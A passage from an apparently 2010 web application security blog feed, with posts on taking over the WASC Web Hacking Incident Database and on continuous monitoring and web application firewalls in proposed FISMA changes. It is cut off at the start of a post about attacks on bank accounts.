directly interact with it or if is supposed to be used only by other authorized partners).&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-8700009723773824067?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/8700009723773824067/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=8700009723773824067' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/8700009723773824067'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/8700009723773824067'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/03/hijacking-yahoo-email-accounts-update.html' title='Hijacking Yahoo Email Accounts Update'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-4802813773447386665</id><published>2010-03-30T09:02:00.002-04:00</published><updated>2010-03-30T09:24:03.108-04:00</updated><title type='text'>WASC Web Hacking Incident Database Project Update</title><content type='html'>&lt;i&gt;Submitted by Ryan Barnett 03/30/2010&lt;/i&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;I wanted to share some exciting news with everyone.  I have taken over as the Project Leader for the &lt;a href="http://projects.webappsec.org/Web-Hacking-Incident-Database"&gt;WASC Web Hacking Incident Database (WHID) Project&lt;/a&gt;.  First of all I wanted to thank &lt;a href="http://www.xiom.com/about/shezaf"&gt;Ofer Shezaf&lt;/a&gt; for starting WHID and for all of the great work he has done with it.  It is a tremendous resource for real-world web application security awareness as it helps to prioritize attacks/vulnerabilities that are currently being used by cyber-criminals to compromise sites.  I am excited to keep it going and to hopefully increase its value to the community.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Changes to WHID&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;The WHID data has been uploaded to a new &lt;a href="http://wasc-whid.dabbledb.com/publish/wasc-whid/7dedeab9-de3d-477b-8dde-c7cd58946c13/defaultwhidview.html"&gt;DabbleDB account&lt;/a&gt; which will help to allow for multiple WHID authors.  If you would like to participate in this capacity, please let me know and I will get you setup.&lt;/li&gt;&lt;li&gt;The project page has been updated to embed the DabbleDB data, with search filters, into the existing WHID Project page.  This makes searching and filtering much easier.  You can also access it directly &lt;a href="https://wasc-whid.dabbledb.com/page/wasc-whid/dXhcaNXd"&gt;here&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;We also added an &lt;b&gt;&lt;i&gt;&lt;a href="https://wasc-whid.dabbledb.com/page/wasc-whid/mWTwXOqA"&gt;Incident Entry Submittal Form&lt;/a&gt;&lt;/i&gt;&lt;/b&gt; directly on the page so it will be easier for the community to send in links to web hack stories.  This will then place the link in a queue and email me for a follow-up.&lt;/li&gt;&lt;li&gt;Lastly, we also added a new &lt;a href="http://wasc-whid.dabbledb.com/publish/wasc-whid/7dedeab9-de3d-477b-8dde-c7cd58946c13/defaultwhidview.rss"&gt;RSS feed&lt;/a&gt; and &lt;a href="http://twitter.com/wascwhid"&gt;Twitter account&lt;/a&gt; so you can keep track of WHID entries as they happen.&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div&gt;If you have any comments about WHID or recommendations for making it more useful, please let me know.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-4802813773447386665?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/4802813773447386665/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=4802813773447386665' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/4802813773447386665'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/4802813773447386665'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/03/wasc-web-hacking-incident-database.html' title='WASC Web Hacking Incident Database Project Update'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-8127549239529547055</id><published>2010-03-29T08:09:00.010-04:00</published><updated>2010-03-30T12:15:19.689-04:00</updated><title type='text'>Continuous Monitoring Highlighted in Recommended FISMA Changes</title><content type='html'>&lt;i&gt;Submitted by Ryan Barnett 03/29/2010&lt;/i&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;The SANS &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Institute's&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; weekly &lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.sans.org/newsletters/newsbites/newsbites.php?vol=12&amp;amp;issue=24#sID200"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;NewsBites&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; newsletter covered an important story&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; last week with regards to proposed changes to the &lt;/span&gt;&lt;/span&gt;&lt;em style="font-style: normal; "&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Federal Information Security Management Act&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; (&lt;/span&gt;&lt;/span&gt;&lt;em style="font-style: normal; "&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;FISMA&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;) which was presented at a House subcommittee meeting on March 24.  The most important change is a shift towards are more agile, real-time monitoring capability.  Alan &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Paller&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;, Director of Research at the SANS Institute, &lt;/span&gt;&lt;a href="http://oversight.house.gov/images/stories/Hearings/Government_Management/032410_Federal_Info_Security/Testimony_of_Alan_Paller_March_24_2010.pdf"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;stated the following in his testimony&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;One of the most important goals of any federal &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;cyber&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; security legislation must be to &lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;enable the defenders to act as quickly to protect their systems as the attackers can &lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;act. &lt;/span&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;We call this continuous monitoring and it is single &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;handedly&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; the most important &lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;element you will write into the new law&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;. Continuous monitoring enables &lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;government agencies to respond quickly and effectively to common and new attack &lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;vectors. The Department of State has demonstrated the effectiveness of this security &lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;innovation.  Most major corporations use it. This model is the future of federal &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;cyber&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;security. As our response to attacks becomes faster and more automated, we will &lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;take the first steps toward turning the tide in cyberspace, and protecting our &lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;sensitive information.&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia, serif;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://1.bp.blogspot.com/_Z-tqVTd9fPI/SgMCAxX0VaI/AAAAAAAABUI/Ww-5b34gjgw/s400/verizon_2009_dbir_timespan.jpg"&gt;&lt;img src="http://1.bp.blogspot.com/_Z-tqVTd9fPI/SgMCAxX0VaI/AAAAAAAABUI/Ww-5b34gjgw/s400/verizon_2009_dbir_timespan.jpg" border="0" alt="" style="float: right; margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 10px; cursor: pointer; width: 400px; height: 311px; " /&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Continuous Monitoring capabilities, not only for government but also the commercial sector, is absolutely critical for identifying attempted and actual compromises and conducting proper incident response. Proper real-time network security monitoring is woefully lacking and this claim is supported by the Verizon 2009 Data Breach Investigations report which found that "&lt;/span&gt;&lt;b&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Breaches still go undiscovered and &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;uncontained&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; for weeks or months in 75 percent of cases.&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;" This is mainly due to a lack or proper real-time continuous monitoring of network traffic.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Breach Security has seen these issues first hand with our &lt;/span&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_8"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;government&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; customers who want to protect their web applications. They are lacking lacking real-time visibility into their web data streams and are unaware of who is attacking them, how they are doing it and if and when they are successful. Web application firewalls give them them the visibility they need and the situational awareness required to identify and respond to real-time attacks. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Mr. &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Paller&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; also recommends the use of the &lt;/span&gt;&lt;a href="http://www.sans.org/critical-security-controls/"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Consensus Audit Guidelines (&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;CAG&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;)&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; as created by the Center for Strategic and International Studies (members of the Consortium include NSA, US Cert, &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;DoD&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;JTF&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;-&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;GNO&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;, the Department of Energy Nuclear Laboratories, Department of State, &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;DoD&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Cyber&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; Crime Center plus the top commercial forensics experts and pen testers that serve the banking and critical infrastructure communities).  Mr. &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Paller&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; stated in his testimony:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Both the guidance for implementing &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;FISMA&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; and the guidance for auditing &lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;compliance are focusing on out of date, ineffective defenses.  What we need instead &lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;is a process that directs agencies to focus their &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;cyber&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; security resources on &lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;monitoring their information systems and networks in real time so that they can &lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;prevent, detect and/or mitigate damage from attacks as they occur.  And oversight &lt;/span&gt;&lt;span class="Apple-style-span" style="font-style: normal; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;must be focused on the effectiveness of the agencies’ real‐time defenses.&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;The &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;CAG&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; list is much more update-to-date not only with current attack methodologies of advanced persistent threats (APT) but also includes critical audit components such as what metrics should be captured and how to test the effectiveness of the controls.  One example taken from the &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;CAG&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; is &lt;/span&gt;&lt;a href="http://www.sans.org/critical-security-controls/control.php?id=7"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Control 7: Application Software Security&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; which lists specific, operational controls for web applications such as:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="  line-height: 17px; font-family:'trebuchet ms', verdana, sans-serif;"&gt;&lt;blockquote&gt;&lt;h4 style="padding-top: 15px; padding-right: 2px; padding-bottom: 4px; padding-left: 2px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; color: rgb(0, 87, 125); font-family: 'trebuchet ms', sans-serif; "&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;How can this control be implemented, automated, and its effectiveness measured?&lt;/span&gt;&lt;/i&gt;&lt;/h4&gt;&lt;ol style="list-style-image: none; "&gt;&lt;li style="padding-top: 2px; padding-right: 2px; padding-bottom: 2px; padding-left: 2px; "&gt;&lt;i&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;QW&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;: Organizations should protect web applications by deploying web application firewalls that inspect all traffic flowing to the web application for common web application attacks, including but not limited to Cross-Site Scripting, &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;SQL&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; injection, command injection, and directory traversal attacks. For applications that are not web based, deploy specific application firewalls if such tools are available for the given application type.&lt;/span&gt;&lt;/i&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;div&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.whitehatsec.com/home/resource/whitepapers/graphics/WAF_averagetimetofix.png"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 422px; height: 217px;" src="http://www.whitehatsec.com/home/resource/whitepapers/graphics/WAF_averagetimetofix.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;br /&gt;&lt;br /&gt;Again, web application firewalls can be used as a tactical remediation tool to help organizations reduce their time-to-fix metric of fixing identified vulnerabilities by acting as a virtual patch (or compensating control as specified in control 7 of the &lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;CAG&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;).  The graphic on the right is taken from &lt;/span&gt;&lt;a href="http://www.whitehatsec.com/home/resource/stats.html"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Whitehat Security's Statistics Report&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; and it tracks the average time to fix a class of vulnerability measured in days.  As you can see, most of these issues aren't resolved for months.  The CAG, on the other hand, recommends the following remediation times:&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="  line-height: 17px; "&gt;&lt;i&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Additionally, all high-risk vulnerabilities in Internet-accessible web applications identified by web application vulnerability scanners, static analysis tools, and automated database configuration review tools must be mitigated (by either fixing the flaw or through implementing a compensating control) &lt;/span&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;within fifteen days&lt;/span&gt;&lt;/b&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; of discovery of the flaw.&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;WAFs&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; can help to close the gap of remediation time between what is recommended by &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;CAG&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; and the time that it normally takes an organization to implement source code level changes in production.  This type of continuous monitoring and agile response capabilities are a key component of defense and it is good news that the government is looking to ensure &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;FISMA&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt; includes them.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-8127549239529547055?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/8127549239529547055/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=8127549239529547055' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/8127549239529547055'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/8127549239529547055'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/03/continuous-monitoring-highlighted-in.html' title='Continuous Monitoring Highlighted in Recommended FISMA Changes'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Z-tqVTd9fPI/SgMCAxX0VaI/AAAAAAAABUI/Ww-5b34gjgw/s72-c/verizon_2009_dbir_timespan.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-6984113765580539607</id><published>2010-03-23T09:44:00.006-04:00</published><updated>2010-03-30T10:37:01.689-04:00</updated><title type='text'>Hackers Targetting Commercial Online Bank Accounts</title><content type='html'>&lt;a href="http://2.bp.blogspot.com/_E0YEPhKPc2k/S6jGgfz2A7I/AAAAAAAAAGI/H5C4lailchk/s1600-h/bank_robbery.gif"&gt;&lt;img id="BLOGGER_PHOTO_ID_5451825610529047474" style="FLOAT: right; MARGIN: 0px 0px 10px 10px; WIDTH: 300px; CURSOR: hand; HEIGHT: 300px" alt="" src="http://2.bp.blogspot.com/_E0YEPhKPc2k/S6jGgfz2A7I/AAAAAAAAAGI/H5C4lailchk/s400/bank_robbery.gif" border="0" /&gt;&lt;/a&gt; &lt;em&gt;Submitted by Ryan Barnett 3/23/2010&lt;/em&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;There have been a number of stories in the past few months that outline a growing trend with &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span 